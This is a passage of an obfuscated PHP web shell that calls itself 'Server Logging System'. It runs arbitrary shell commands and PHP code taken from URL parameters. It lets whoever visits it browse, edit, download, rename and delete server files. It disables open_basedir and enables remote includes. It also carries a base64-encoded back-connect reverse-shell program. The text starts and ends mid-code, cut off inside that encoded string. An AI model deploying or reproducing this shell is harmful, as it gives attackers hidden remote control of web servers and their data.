natcasesort($dname); $buff = "\x3c\144\151\166\x20\x69\144\75\x22\145\170\x70\154\x6f\162\x65\162\x22\76\x3c\x74\141\142\154\145\40\x63\x6c\141\163\163\x3d\42\x74\142\x6c\x45\170\160\154\157\162\145\x72\x22\x3e\xa\x9\11\74\x74\x72\x3e\x3c\164\150\76\106\x69\154\x65\x6e\x61\x6d\145\74\x2f\164\150\x3e\xa\11\x9\x3c\164\x68\40\163\x74\171\154\145\75\42\167\151\x64\164\150\x3a\70\x30\160\x78\73\x22\x3e\106\151\x6c\145\x73\x69\x7a\x65\x3c\x2f\164\150\x3e\12\x9\x9\x3c\x74\150\40\x73\x74\x79\x6c\145\x3d\42\167\x69\x64\164\150\x3a\70\60\160\170\73\x22\x3e\120\145\x72\155\151\163\x73\x69\x6f\x6e\74\57\x74\x68\76\xa\x9\11\74\x74\x68\40\x73\164\171\154\x65\75\42\167\x69\144\164\150\72\x31\65\x30\x70\170\x3b\x22\76\114\141\163\164\40\x4d\157\x64\x69\x66\x69\145\144\74\x2f\x74\150\x3e\xa\x9\x9\x3c\x74\x68\x20\163\x74\171\154\x65\75\42\167\x69\144\164\150\72\61\70\60\x70\x78\x3b\42\x3e\x41\143\164\x69\x6f\x6e\74\x2f\x74\150\76\74\57\164\x72\76"; foreach ($dname as $d) { $sd = $d; if ($d == "\56\56") { $nextdir = "\56\56" . DIRECTORY_SEPARATOR . "\x2e\56"; $d = xcleanpath(realpath($sd)); } elseif ($d == "\56") { $nextdir = "\x2e\x2e"; $d = xcleanpath(realpath($sd)); } else { $nextdir = "\x2e"; $d = xcleanpath(realpath("\56" . DIRECTORY_SEPARATOR . $sd)); } $dir = $d; $nextdir = xcleanpath(realpath($nextdir)); $buff .= "\74\164\162\40\x6f\x6e\x6d\157\x75\163\145\157\x76\x65\162\x3d\x22\164\150\151\163\x2e\x73\164\171\154\x65\56\143\x75\x72\163\157\162\75\x27\x70\x6f\151\x6e\x74\145\x72\47\x3b\x74\x68\151\x73\56\163\164\x79\154\145\x2e\143\165\162\163\x6f\162\x3d\x27\150\141\x6e\x64\x27\x3b\42\x20\157\x6e\143\154\151\x63\153\75\42\x77\151\156\144\157\x77\x2e\x6c\157\x63\x61\x74\151\x6f\156\75\40\47\x3f\x64\x69\x72\x3d" . urlencode($d) . "\x27\x3b\42\76\12\11\11\11\74\x74\144\x3e\74\163\160\141\156\40\163\x74\171\154\145\75\42\146\x6f\156\164\x2d\x77\145\151\147\150\x74\x3a\142\157\154\144\73\x22\x3e\74\x61\40\x68\162\145\146\75\x22\77\144\x69\162\x3d" . $dir . "\x22\76\133\74\57\163\160\x61\x6e\x3e\40" . $sd . "\40\x3c\x73\160\x61\x6e\40\163\x74\171\154\x65\x3d\42\146\157\x6e\164\x2d\x77\x65\151\147\150\x74\x3a\142\157\154\144\x3b\42\x3e\135\74\57\163\x70\141\x6e\76\x3c\57\141\76\74\x2f\164\x64\76"; $buff .= "\x3c\x74\x64\x3e\104\111\122\x3c\57\164\x64\76"; $buff .= "\74\x74\144\40\163\x74\171\154\x65\x3d\x22\164\x65\170\164\55\141\x6c\151\147\156\72\x63\145\x6e\164\x65\x72\x3b\42\x3e" . xfileperms($d) . "\74\57\x74\x64\76"; $buff .= "\74\164\144\40\163\164\x79\154\x65\75\42\164\x65\x78\164\x2d\141\154\151\x67\x6e\x3a\143\145\156\x74\x65\162\x3b\42\76" . xfilelastmodified($d) . "\74\x2f\x74\144\76"; $buff .= "\x3c\164\144\40\x73\164\171\154\x65\x3d\42\x74\x65\x78\164\55\141\154\x69\x67\156\72\143\x65\156\164\145\162\73\x22\76\x3c\x61\x20\x68\x72\145\x66\x3d\42\x3f\x64\x69\162\75" . $dir . "\x26\x70\162\157\x70\x65\162\164\x69\x65\x73\75" . xcleanpath(realpath($d)) . "\x22\x3e\x50\162\157\160\145\162\164\151\x65\x73\x3c\x2f\141\x3e\40\174\40\74\141\40\x68\x72\x65\x66\x3d\42\77\144\151\162\x3d" . $nextdir . "\46\144\x65\x6c\75" . xcleanpath(realpath($d)) . "\x22\76\x52\x65\155\157\166\x65\x3c\x2f\x61\x3e\x3c\x2f\x74\144\x3e"; $buff .= "\74\x2f\x74\162\76"; } foreach ($fname as $f) { $sf = $f; $f = $path . $f; $view = "\77\144\x69\x72\x3d" . urlencode($path) . "\x26\x76\151\145\167\75" . urlencode($f); $buff .= "\x3c\164\x72\40\x6f\156\155\x6f\165\163\145\157\x76\145\x72\x3d\x22\164\x68\x69\x73\x2e\163\164\x79\x6c\145\56\143\165\x72\x73\157\162\75\x27\x70\157\151\x6e\164\145\162\47\73\x74\x68\x69\163\x2e\x73\x74\x79\x6c\x65\56\x63\x75\x72\x73\x6f\x72\75\x27\150\x61\x6e\144\47\x3b\42\40\x6f\x6e\143\x6c\151\x63\153\75\x22\167\151\x6e\144\x6f\167\56\154\157\143\x61\x74\x69\157\156\75\x27\77\x64\x69\162\x3d" . urlencode(xcleanpath($path)) . "\46\160\162\157\x70\145\162\x74\x69\x65\x73\x3d" . urlencode($f) . "\x27\73\x22\76\74\164\x64\x3e\xa\11\11\11\74\141\40\150\162\x65\x66\75\42\x3f\144\151\x72\x3d" . urlencode(xcleanpath($path)) . "\x26\160\162\x6f\x70\x65\162\164\x69\x65\x73\75" . urlencode($f) . "\42\x3e\12\11\x9\11" . $sf . "\74\57\141\76\74\x2f\x74\144\76"; $buff .= "\x3c\164\144\76" . xparsefilesize(xfilesize($f)) . "\74\x2f\x74\144\x3e"; $buff .= "\74\164\x64\x20\x73\164\171\x6c\145\x3d\42\164\x65\170\x74\55\x61\154\151\147\156\x3a\143\145\x6e\164\145\162\x3b\42\76" . xfileperms($f) . "\74\x2f\x74\144\76"; $buff .= "\x3c\164\144\40\x73\164\171\x6c\145\75\42\164\145\170\x74\55\141\x6c\x69\147\156\72\x63\x65\x6e\x74\x65\162\73\x22\76" . xfilelastmodified($f) . "\74\57\164\x64\76"; $buff .= "\x3c\x74\x64\40\x73\164\171\154\x65\75\42\x74\145\170\x74\55\141\x6c\151\x67\156\72\143\x65\156\164\x65\162\73\x22\x3e\x3c\141\40\x68\162\145\x66\x3d\x22" . $view . "\42\x3e\105\144\151\x74\74\57\x61\76\x20\174\40\74\x61\40\150\x72\145\x66\75\x22\77\147\x65\164\75" . $f . "\x22\76\x44\157\167\156\154\x6f\x61\x64\x3c\57\141\76\x20\x7c\40\74\141\40\x68\x72\145\146\x3d\x22\77\144\x69\x72\x3d" . xcleanpath($path) . "\x26\x64\145\154\75" . $f . "\42\76\x52\x65\x6d\157\166\x65\x3c\x2f\x61\76\74\x2f\164\144\76"; $buff .= "\x3c\57\164\x72\x3e"; } $buff .= "\x3c\57\164\x61\x62\x6c\145\x3e\x3c\57\144\151\166\76"; return $buff; } } goto pb0Qp; tJNgh: $xServerIP = $_SERVER["\x53\105\x52\126\105\122\x5f\101\x44\x44\122"]; goto swrNf; utqPS: ini_set("\x6f\x70\x65\156\137\x62\141\163\x65\x64\x69\162", NULL); goto sRNXR; dANsM: function ekse($cmd) { if (function_exists("\163\x79\163\164\145\x6d")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\145\170\145\143")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("\x70\x61\163\163\x74\150\162\165")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\x73\x68\x65\154\154\x5f\x65\170\145\x63")) { $buff = @shell_exec($cmd); return $buff; } } goto rRIs7; i3GXU: if (isset($_GET["\143\155\144"]) && $_GET["\143\155\144"] != '') { $cmd = xclean($_GET["\x63\x6d\144"]); if (preg_match("\x2f\136\143\x64\50\x2e\52\x29\x2f\x69", $cmd, $c)) { $newdir = trim($c[1]); $newdir = trim(urldecode(xclean($newdir))); if ($newdir == "\x5c") { $xCwd = substr($xCwd, 0, 3); } else { if (strpos($newdir, "\x3a") > 0) { if (is_dir($newdir)) { $xCwd = xcleanpath(realpath($newdir)); } } elseif (is_dir($newdir)) { $xCwd = xcleanpath(realpath($newdir)); } else { if (is_dir($xCwd . $newdir)) { $xCwd = xcleanpath(realpath($xCwd . $newdir)); } } } $result = xdir($xCwd); } elseif (preg_match("\57\136\x28\134\167\173\61\175\72\56\x2a\x29\57", $cmd, $dc)) { $newdir = trim($dc[1]); if (is_dir($newdir)) { $xCwd = xcleanpath($newdir); } $result = xdir($xCwd); } else { $result = ekse($cmd); if ($result != '') { $result = nl2br(str_replace("\40", "\46\156\142\x73\160\73", htmlentities($result))); } else { $result = xdir($xCwd); } } } elseif (isset($_GET["\x65\x76\x61\x6c"]) && $_GET["\x65\166\141\154"] != '') { $result = htmlspecialchars(xeval($_GET["\145\x76\x61\154"])); } elseif (isset($_GET["\160\162\x6f\x70\145\x72\x74\151\x65\163"]) && $_GET["\x70\x72\x6f\160\x65\x72\x74\x69\145\163"] != '') { $fname = xcleanpath(xclean($_GET["\160\x72\x6f\x70\x65\162\164\151\x65\163"])); if (isset($_GET["\157\x6c\x64\x66\151\x6c\x65\x6e\x61\x6d\x65"]) && $_GET["\157\154\144\x66\151\x6c\145\156\x61\155\x65"] != '') { $oldname = xclean($_GET["\x6f\x6c\x64\x66\151\154\145\x6e\141\155\x65"]); rename($oldname, $fname); } $dir = xclean($_GET["\144\x69\162"]); $fcont = ''; $fview = ''; if (is_dir($fname)) { $fsize = "\x44\x49\122"; $fcont = xdir($fname); $faction = "\74\141\40\x68\x72\145\x66\75\42\x3f\x64\x69\x72\x3d" . xcleanpath(realpath($fname)) . "\46\x70\162\157\160\145\x72\164\x69\145\x73\x3d" . xcleanpath(realpath($fname)) . "\42\x3e\120\162\x6f\x70\x65\162\x74\151\145\163\x3c\57\x61\76\x20\x7c\x20\74\x61\x20\x68\162\x65\x66\75\x22\77\x64\x69\x72\x3d" . xcleanpath(realpath($fname . "\x2e\56")) . "\x26\x64\145\x6c\75" . xcleanpath(realpath($fname)) . "\42\76\122\x65\155\x6f\166\145\74\57\x61\76"; } else { $fname = rtrim($fname, DIRECTORY_SEPARATOR); $fsize = xparsefilesize(xfilesize($fname)) . "\x20\74\163\x70\x61\x6e\x20\x63\154\141\163\163\75\x22\147\x61\165\x6c\x22\76\50\40\x3c\57\163\x70\141\x6e\x3e" . xfilesize($fname) . "\x20\x62\x79\x74\145\x73\x3c\163\160\141\x6e\x20\x63\154\141\x73\x73\x3d\42\x67\x61\x75\x6c\x22\76\40\51\x3c\57\163\x70\x61\x6e\76"; $type = ''; if (isset($_GET["\164\171\x70\x65"])) { $type = trim(xclean($_GET["\164\x79\160\x65"])); } $iinfo = getimagesize($fname); $imginfo = ''; if ($type == '') { if (is_array($iinfo)) { $type = "\151\x6d\x67"; } else { $type = "\164\145\x78\164"; } } if ($type == "\x63\x6f\144\145") { if ($code = xhighlight($fname)) { $fcont = "\74\144\x69\x76\x20\143\154\x61\x73\163\75\x22\x62\157\x78\x63\x6f\x64\145\42\76" . $code . "\74\x2f\x64\151\166\x3e"; } } elseif ($type == "\151\155\147") { $width = (int) $iinfo[0]; $height = (int) $iinfo[1]; $imginfo = "\x49\155\141\147\145\x20\164\x79\160\x65\40\75\40\50\x20" . $iinfo["\x6d\151\155\145"] . "\40\51\74\x62\162\x20\57\76\x49\x6d\x61\147\x65\x20\123\151\172\x65\x20\75\40\x3c\163\x70\x61\156\x20\x63\x6c\x61\163\x73\x3d\42\x67\141\165\154\x22\76\50\40\74\57\163\160\141\x6e\76" . $width . "\x20\x78\40" . $height . "\74\x73\x70\x61\156\40\x63\154\141\163\x73\x3d\x22\147\141\x75\x6c\x22\x3e\x20\51\74\57\x73\x70\141\x6e\76\74\x62\x72\x20\x2f\x3e"; if ($width > 800) { $width = 800; $imglink = "\x3c\x70\x3e\74\141\40\150\162\145\x66\75\42\x3f\151\155\x67\75" . $fname . "\42\x20\x74\141\162\x67\x65\164\75\42\x5f\142\154\x61\x6e\x6b\42\x3e\74\163\x70\141\x6e\x20\x63\x6c\x61\163\x73\75\x22\147\x61\x75\x6c\x22\76\133\x20\74\57\x73\x70\x61\x6e\76\x76\x69\145\x77\40\146\165\154\x6c\40\163\x69\172\x65\x3c\x73\160\x61\x6e\40\143\154\x61\x73\x73\x3d\42\x67\x61\x75\154\x22\76\40\x5d\74\x2f\163\x70\x61\x6e\76\74\57\x61\x3e\x3c\57\160\x3e"; } else { $imglink = ''; } $fcont = "\74\144\151\166\40\x73\164\171\154\x65\75\42\164\145\x78\x74\55\141\154\151\147\x6e\72\x63\x65\156\164\x65\162\x3b\167\x69\144\x74\150\72\x31\x30\60\45\73\42\76" . $imglink . "\x3c\151\155\x67\40\x77\151\144\x74\x68\x3d\42" . $width . "\x22\x20\163\162\x63\75\42\x3f\x69\x6d\147\x3d" . $fname . "\42\x20\x61\154\x74\75\42\x22\40\x73\x74\171\154\145\x3d\42\155\x61\x72\147\x69\x6e\x3a\70\x70\x78\x20\141\165\x74\x6f\x3b\x70\x61\144\x64\151\x6e\x67\x3a\x30\x3b\142\157\162\x64\x65\x72\x3a\60\73\x22\x20\x2f\x3e\x3c\x2f\144\151\166\x3e"; } else { $code = htmlspecialchars(file_get_contents($fname)); $fcont = "\74\x64\151\166\40\x63\154\141\x73\x73\x3d\42\x62\x6f\x78\x63\157\144\x65\x22\76" . nl2br($code) . "\x3c\x2f\144\151\x76\76"; } $faction = "\x3c\141\x20\x68\x72\x65\x66\75\42\77\144\151\x72\x3d" . xcleanpath($dir) . "\46\x76\x69\145\x77\75" . $fname . "\x22\x3e\105\144\151\164\74\57\x61\x3e\x20\174\x20\74\141\x20\150\x72\x65\x66\x3d\x22\x3f\147\145\164\x3d" . $fname . "\x22\x3e\x44\x6f\167\x6e\x6c\157\x61\x64\74\57\x61\76\x20\x7c\40\x3c\141\x20\x68\x72\145\x66\x3d\42\x3f\x64\x69\x72\x3d" . xcleanpath($dir) . "\x26\x64\145\154\x3d" . $fname . "\x22\76\122\x65\155\157\x76\x65\74\57\141\76"; $fview = "\74\141\x20\x68\x72\x65\146\x3d\42\x3f\144\151\x72\75" . xcleanpath($dir) . "\46\160\x72\157\x70\145\162\x74\151\x65\163\x3d" . $fname . "\46\x74\x79\x70\145\75\164\x65\x78\164\x22\76\74\163\x70\141\x6e\x20\143\154\x61\x73\x73\x3d\42\147\x61\165\x6c\42\76\133\40\74\x2f\x73\160\x61\156\76\164\x65\170\x74\x3c\163\160\141\156\40\x63\x6c\x61\163\163\x3d\42\147\x61\165\x6c\x22\76\x20\135\74\x2f\x73\160\141\156\x3e\x3c\x2f\x61\76\x3c\x61\x20\150\162\x65\146\x3d\x22\x3f\x64\151\162\x3d" . xcleanpath($dir) . "\x26\x70\x72\x6f\x70\145\162\164\x69\145\163\x3d" . $fname . "\46\164\x79\160\x65\75\143\157\144\x65\x22\76\x3c\x73\x70\x61\x6e\x20\143\x6c\141\x73\x73\75\x22\147\141\x75\x6c\x22\x3e\133\40\74\57\163\x70\141\x6e\76\x63\157\144\145\74\163\x70\141\x6e\x20\143\154\x61\x73\x73\75\x22\x67\141\165\154\x22\76\40\135\74\57\163\160\141\x6e\x3e\74\57\x61\x3e\74\x61\40\150\162\145\146\75\x22\77\144\x69\162\x3d" . xcleanpath($dir) . "\x26\x70\162\x6f\160\x65\x72\164\151\x65\163\75" . $fname . "\x26\164\171\x70\145\x3d\151\x6d\x67\42\x3e\74\163\x70\x61\156\x20\x63\154\141\x73\x73\75\x22\x67\141\165\154\x22\76\x5b\40\74\x2f\x73\x70\x61\x6e\76\x69\155\x61\147\145\74\163\160\x61\x6e\x20\143\x6c\x61\163\x73\x3d\42\147\x61\x75\x6c\42\76\x20\x5d\x3c\x2f\163\160\141\x6e\x3e\74\57\x61\76"; } $fowner = xfileowner($fname); $fperm = xfileperms($fname); $result = "\74\x64\x69\166\40\x73\x74\x79\x6c\145\x3d\x22\144\x69\163\160\x6c\x61\171\x3a\x69\x6e\154\151\156\x65\x3b\42\x3e\xa\11\74\146\x6f\x72\155\x20\x61\x63\x74\x69\157\156\75\42\x3f\x22\x20\155\x65\164\150\x6f\144\75\x22\147\x65\x74\42\x20\x73\x74\x79\x6c\x65\75\42\155\x61\x72\x67\151\156\x3a\x30\x3b\x70\x61\144\x64\151\156\x67\72\x31\x70\170\x20\70\160\170\73\x74\145\170\164\55\141\154\151\x67\156\72\x6c\145\146\164\x3b\42\76\12\x9\x3c\x69\x6e\x70\x75\164\40\164\x79\160\x65\75\42\150\x69\x64\x64\x65\x6e\x22\40\x6e\141\155\145\75\x22\x64\151\162\x22\40\166\141\154\x75\145\x3d\x22" . $dir . "\42\40\x2f\x3e\xa\x9\x3c\151\156\160\x75\164\40\164\x79\160\x65\x3d\42\x68\151\144\144\145\156\42\x20\156\141\x6d\x65\x3d\42\x6f\x6c\x64\146\x69\154\145\x6e\x61\155\x65\42\x20\166\141\154\x75\145\x3d\x22" . $fname . "\x22\x20\57\x3e" . $faction . "\x20\174\xa\11\x3c\163\x70\x61\156\x3e\x3c\151\x6e\160\165\164\x20\x73\x74\171\x6c\145\x3d\42\x77\151\x64\164\150\x3a\65\60\x25\x3b\x22\x20\164\x79\x70\x65\x3d\x22\164\x65\x78\x74\42\x20\156\x61\x6d\145\75\42\x70\x72\x6f\160\145\162\x74\151\145\163\42\40\x76\141\154\x75\145\x3d\x22" . $fname . "\x22\x20\x2f\76\12\x9\74\x69\x6e\160\165\x74\40\163\x74\x79\154\x65\x3d\42\167\151\x64\164\x68\72\61\62\x30\x70\170\x22\x20\x63\x6c\141\163\x73\75\42\x62\x74\x6e\x22\x20\164\171\160\145\75\x22\163\x75\142\155\x69\x74\x22\x20\x6e\x61\155\145\75\42\x62\164\x6e\x52\x65\x6e\x61\x6d\145\42\40\166\x61\154\x75\145\x3d\x22\122\145\x6e\x61\155\145\x22\40\x2f\x3e\xa\x9\x3c\57\163\x70\x61\x6e\76\xa\11\x3c\144\x69\166\40\143\154\x61\x73\163\x3d\42\x66\160\162\x6f\160\42\x3e\xa\x9\123\x69\x7a\x65\40\75\40" . $fsize . "\x3c\x62\162\x20\x2f\x3e" . $imginfo . "\12\11\x4f\167\x6e\145\162\40\x3d\x20\x3c\x73\x70\x61\x6e\40\x63\154\141\163\163\75\x22\x67\141\x75\154\x22\x3e\x28\40\74\57\x73\160\141\156\76" . $fowner . "\x3c\x73\x70\x61\156\40\143\x6c\x61\163\x73\x3d\x22\x67\x61\x75\154\x22\x3e\x20\x29\74\x2f\x73\160\x61\156\x3e\74\x62\162\x20\57\76\12\x9\120\145\x72\155\151\163\x73\151\157\x6e\40\75\40\74\163\x70\141\156\x20\x63\x6c\141\163\x73\75\x22\147\141\165\154\x22\x3e\x28\40\x3c\57\163\160\x61\156\x3e" . $fperm . "\74\x73\x70\x61\x6e\40\x63\x6c\141\x73\163\75\42\x67\x61\x75\154\42\x3e\40\x29\x3c\57\163\160\141\x6e\x3e\x3c\142\162\40\57\76\12\x9\103\162\x65\x61\x74\x65\40\124\x69\x6d\x65\40\x3d\x20\74\x73\160\x61\x6e\40\x63\154\x61\x73\163\75\x22\147\x61\165\x6c\42\76\x28\40\74\57\x73\x70\141\156\x3e" . date("\144\55\115\55\131\40\x48\72\x69", @filectime($fname)) . "\74\163\x70\141\x6e\x20\x63\154\141\x73\x73\x3d\42\x67\141\x75\154\42\76\40\51\x3c\x2f\x73\160\x61\x6e\x3e\74\142\162\x20\x2f\x3e\xa\11\x4c\141\x73\x74\x20\x4d\157\x64\151\x66\151\x65\144\40\75\x20\x3c\x73\x70\x61\156\x20\143\x6c\141\163\163\75\x22\x67\x61\165\x6c\x22\x3e\x28\x20\74\x2f\x73\x70\141\x6e\76" . date("\x64\55\115\55\x59\40\x48\72\x69", @filemtime($fname)) . "\74\163\160\x61\156\40\x63\154\141\x73\163\x3d\42\147\141\165\x6c\x22\76\40\51\74\x2f\x73\x70\x61\x6e\x3e\74\x62\162\40\x2f\76\12\11\114\x61\163\x74\40\x41\x63\x63\x65\x73\x73\x65\x64\x20\x3d\40\74\x73\x70\141\156\40\x63\154\x61\x73\x73\x3d\42\x67\x61\165\x6c\x22\76\50\40\x3c\57\163\x70\141\x6e\x3e" . date("\x64\x2d\115\x2d\x59\x20\x48\x3a\151", @fileatime($fname)) . "\74\163\160\x61\156\40\x63\x6c\x61\163\x73\75\x22\x67\141\165\x6c\42\x3e\x20\x29\x3c\x2f\163\x70\141\156\x3e\x3c\x62\x72\40\57\76\12\x9" . $fview . "\12\11\x3c\57\x64\151\x76\x3e\xa\11" . $fcont . "\xa\x9\74\57\146\157\162\155\x3e\xa\x9\x3c\x2f\144\x69\x76\x3e\xa\x9"; } elseif (isset($_GET["\x76\151\x65\x77"]) && $_GET["\x76\151\145\167"] != '' || isset($_GET["\146\x69\x6c\x65\156\x61\x6d\145"]) && $_GET["\146\151\x6c\x65\x6e\x61\x6d\x65"] != '') { $msg = ''; if (isset($_POST["\x73\x61\x76\145"]) && $_POST["\163\141\x76\145"] == "\x53\x61\x76\145\40\101\163") { $file = xclean(trim($_POST["\163\141\x76\x65\x41\163"])); $content = xclean($_POST["\146\x69\154\x65\163\157\165\162\x63\145"]); if (xfilesave($file, $content)) { $pesan = "\x46\x69\154\x65\40\123\141\x76\145\x64"; } else { $pesan = "\x46\141\x69\x6c\145\x64\40\x74\x6f\40\163\x61\166\x65\40\146\151\154\145"; } $msg = "\x3c\163\x70\x61\156\40\163\x74\x79\x6c\x65\x3d\42\x66\154\157\141\x74\x3a\x72\151\x67\x68\x74\73\x22\76\x3c\x73\160\x61\156\x20\143\154\141\163\163\75\42\x67\x61\x75\154\42\76\x5b\40\74\x2f\x73\160\x61\x6e\76" . $pesan . "\74\163\x70\x61\156\x20\143\154\141\x73\163\75\x22\147\x61\x75\154\x22\x3e\40\x5d\74\57\x73\x70\x61\x6e\x3e\74\x2f\x73\x70\141\x6e\x3e"; } else { if (isset($_GET["\166\x69\145\x77"]) && $_GET["\x76\151\145\167"] != '') { $file = xclean(trim($_GET["\166\x69\145\167"])); } else { $file = $xCwd . xclean(trim($_GET["\x66\x69\154\x65\x6e\141\155\x65"])); } } $result = xfileopen($file); $result = htmlentities($result); $result = "\12\11\x3c\x70\x20\x73\x74\x79\154\x65\75\x22\160\141\144\144\x69\x6e\147\72\x30\x3b\x6d\x61\x72\147\151\x6e\x3a\60\73\x74\x65\170\164\55\x61\x6c\x69\147\x6e\72\x6c\x65\146\164\x3b\42\76\x3c\x61\x20\150\162\x65\146\x3d\x22\77\x64\151\162\x3d" . $xCwd . "\x26\x70\x72\x6f\x70\x65\x72\x74\151\145\x73\75" . $file . "\42\76" . xfilesummary($file) . "\x3c\x2f\x61\x3e" . $msg . "\74\x2f\x70\x3e\x3c\x64\x69\166\x20\x73\x74\x79\154\145\75\x22\143\154\x65\141\x72\72\142\x6f\164\150\x3b\x6d\x61\x72\x67\151\156\x3a\x30\x3b\160\x61\x64\144\x69\156\x67\x3a\x30\73\42\x3e\74\x2f\x64\x69\166\x3e\12\11\74\146\157\x72\155\40\x61\x63\164\151\157\156\75\x22\77\144\x69\x72\x3d" . $xCwd . "\46\x76\x69\x65\167\75" . $file . "\42\x20\155\x65\164\x68\157\144\75\42\x70\157\x73\x74\x22\76\12\x3c\164\x65\170\x74\x61\x72\x65\141\40\x6e\x61\x6d\x65\75\42\146\x69\154\x65\163\157\x75\162\143\x65\x22\x20\163\164\171\154\x65\75\x22\167\x69\x64\164\150\x3a\x31\60\60\45\73\150\x65\151\147\150\164\72\62\x30\60\160\x78\73\x22\76" . $result . "\74\57\164\x65\x78\164\141\162\145\141\x3e\xa\11\x3c\x69\156\x70\165\164\x20\x74\x79\160\145\x3d\42\164\145\170\x74\42\x20\163\164\x79\154\x65\x3d\x22\167\151\x64\164\x68\x3a\x38\x30\x25\x3b\x22\x20\x20\156\141\155\145\x3d\42\163\141\166\145\101\163\42\x20\166\141\x6c\x75\x65\75\x22" . $file . "\x22\40\57\x3e\xa\11\74\151\156\x70\x75\x74\40\164\x79\160\x65\x3d\x22\x73\x75\142\x6d\x69\x74\42\x20\x63\154\x61\x73\163\x3d\x22\142\164\x6e\42\40\163\164\171\154\x65\x3d\42\x77\x69\144\x74\150\x3a\61\x32\x30\160\170\73\42\x20\x6e\141\x6d\x65\75\x22\x73\x61\x76\145\42\40\166\141\154\x75\145\x3d\42\x53\141\166\x65\x20\101\x73\42\x20\x2f\x3e\12\11\x3c\57\x66\157\x72\155\x3e\12\11"; } else { $result = xdir($xCwd); } goto Zne4x; u1awg: ini_set("\x61\154\154\x6f\x77\137\165\x72\x6c\137\x69\156\x63\x6c\x75\144\x65", 1); goto utqPS; swrNf: $xClientIP = $_SERVER["\x52\105\x4d\x4f\x54\x45\x5f\x41\104\104\122"]; goto n0Kd5; BNqz_: function xcleanpath($path) { if (is_dir($path)) { $path = urldecode(trim(xclean($path))); $xSlash = DIRECTORY_SEPARATOR; while (substr($path, -1) == $xSlash) { $path = rtrim($path, $xSlash); } return $path . $xSlash; } return $path; } goto Ocjbv; OKtKC: $shell_fake_name = "\x53\145\x72\x76\145\x72\40\114\157\147\x67\151\156\147\x20\x53\171\163\x74\145\x6d"; goto UQGVJ; U0a5N: function xfileowner($file) { if (is_file($file) || is_dir($file) || is_link($file)) { $fowner = fileowner($file); $fgroup = filegroup($file); if (function_exists("\x70\x6f\163\x69\170\137\x67\x65\x74\x70\167\165\151\x64") && function_exists("\x70\x6f\163\151\x78\x5f\x67\x65\x74\x67\162\147\151\x64")) { $name = posix_getpwuid($fowner); $group = posix_getgrgid($fgroup); return trim($name["\156\141\155\x65"] . "\72" . $group["\x6e\141\155\145"]); } else { return "\x3f\x3f\77"; } } return "\x3f\x3f\77"; } goto tz9uN; fkGVx: $xBack = "\111\62\154\165\131\x32\x78\61\x5a\107\125\147\120\110\x4e\x30\132\107\154\166\114\x6d\147\53\104\121\x6f\x6a\141\127\x35\x6a\x62\110\x56\x6b\x5a\x53\x41\x38\143\x33\x6c\172\114\x33\x4e\166\x59\62\x74\x6c\144\103\65\x6f\120\x67\60\x4b\x49\x32\154\165\131\62\170\x31\132\x47\x55\x67\120\107\x35\x6c\12\144\x47\x6c\165\132\x58\x51\x76\141\x57\64\x75\x61\104\64\116\103\x6d\154\165\x64\x43\102\x74\x59\127\x6c\x75\x4b\x47\154\x75\144\103\x42\x68\x63\155\144\152\114\x43\x42\152\x61\x47\106\x79\111\x43\160\x68\x63\x6d\144\62\127\61\x30\x70\x44\121\x70\67\x44\x51\x6f\x67\141\x57\65\x30\x49\x47\132\x6b\xa\117\x77\x30\113\111\110\x4e\60\x63\x6e\x56\x6a\x64\x43\102\x7a\142\62\116\162\x59\x57\x52\x6b\143\154\71\x70\x62\151\102\172\x61\x57\x34\x37\111\101\60\x4b\x49\x47\122\150\132\127\x31\x76\142\x69\x67\170\114\x44\101\x70\x4f\167\60\x4b\x49\x48\x4e\x70\x62\x69\x35\172\141\x57\x35\146\132\155\106\164\xa\x61\x57\170\65\111\x44\60\147\x51\x55\x5a\146\x53\125\x35\106\x56\x44\163\116\x43\151\102\x7a\141\127\64\165\143\x32\x6c\x75\130\63\x42\166\x63\156\121\147\120\123\102\x6f\144\x47\x39\x75\143\171\x68\x68\x64\x47\x39\160\x4b\107\x46\x79\132\x33\132\x62\x4d\126\x30\x70\x4b\124\163\x4e\103\x69\x42\x7a\12\141\x57\x34\165\x63\x32\154\165\x58\62\x46\153\132\110\x49\165\143\x31\x39\x68\132\107\122\x79\111\104\x30\x67\x61\x57\x35\154\144\106\71\x68\132\x47\x52\x79\x4b\x47\106\171\x5a\x33\132\x62\115\154\x30\160\117\x79\101\x4e\103\151\x42\x69\145\155\126\171\x62\171\x68\x68\143\155\144\62\127\x7a\112\144\xa\x4c\110\116\60\143\x6d\x78\x6c\x62\x69\150\150\143\x6d\144\62\x57\172\112\x64\x4b\x53\x73\170\113\63\116\60\143\155\x78\154\142\151\x68\150\143\155\144\62\x57\x7a\106\x64\x4b\x53\x6b\67\x49\x41\60\113\x49\107\x5a\153\111\x44\x30\x67\x63\x32\x39\x6a\141\62\126\x30\x4b\x45\x46\107\130\x30\x6c\x4f\12\x52\126\x51\x73\111\x46\x4e\x50\x51\x30\x74\146\x55\61\122\x53\122\x55\106\116\x4c\x43\x42\112\125\106\x42\x53\x54\x31\122\120\130\61\122\104\x55\x43\153\147\117\171\x41\x4e\103\151\102\x70\132\151\101\x6f\x4b\107\x4e\x76\x62\x6d\x35\154\131\x33\121\157\132\x6d\121\163\111\x43\x68\x7a\x64\x48\112\x31\xa\131\x33\121\x67\x63\62\71\x6a\141\62\106\x6b\x5a\110\x49\x67\x4b\151\153\147\112\156\116\x70\142\x69\167\147\x63\x32\x6c\x36\x5a\x57\71\x6d\113\x48\116\x30\x63\156\x56\x6a\x64\103\x42\x7a\x62\x32\116\x72\x59\127\122\153\143\151\x6b\x70\x4b\124\167\167\x4b\123\102\67\104\121\157\x67\111\103\102\167\12\132\x58\112\x79\142\x33\111\157\x49\154\x73\x74\130\123\x42\152\142\62\65\165\132\x57\116\x30\x4b\103\x6b\151\113\124\163\116\x43\151\101\x67\111\107\126\x34\141\130\x51\x6f\x4d\103\153\x37\104\121\x6f\x67\146\x51\x30\113\111\x47\122\x31\143\x44\x49\x6f\x5a\x6d\x51\163\111\104\101\160\x4f\167\60\x4b\12\111\x47\x52\61\143\x44\111\157\x5a\155\x51\x73\x49\x44\105\x70\x4f\x77\x30\x4b\x49\107\x52\x31\143\x44\111\157\132\155\121\163\111\x44\111\160\x4f\167\x30\x4b\x49\x47\126\64\132\x57\x4e\x73\x4b\103\111\166\x59\155\154\165\x4c\63\x4e\x6f\111\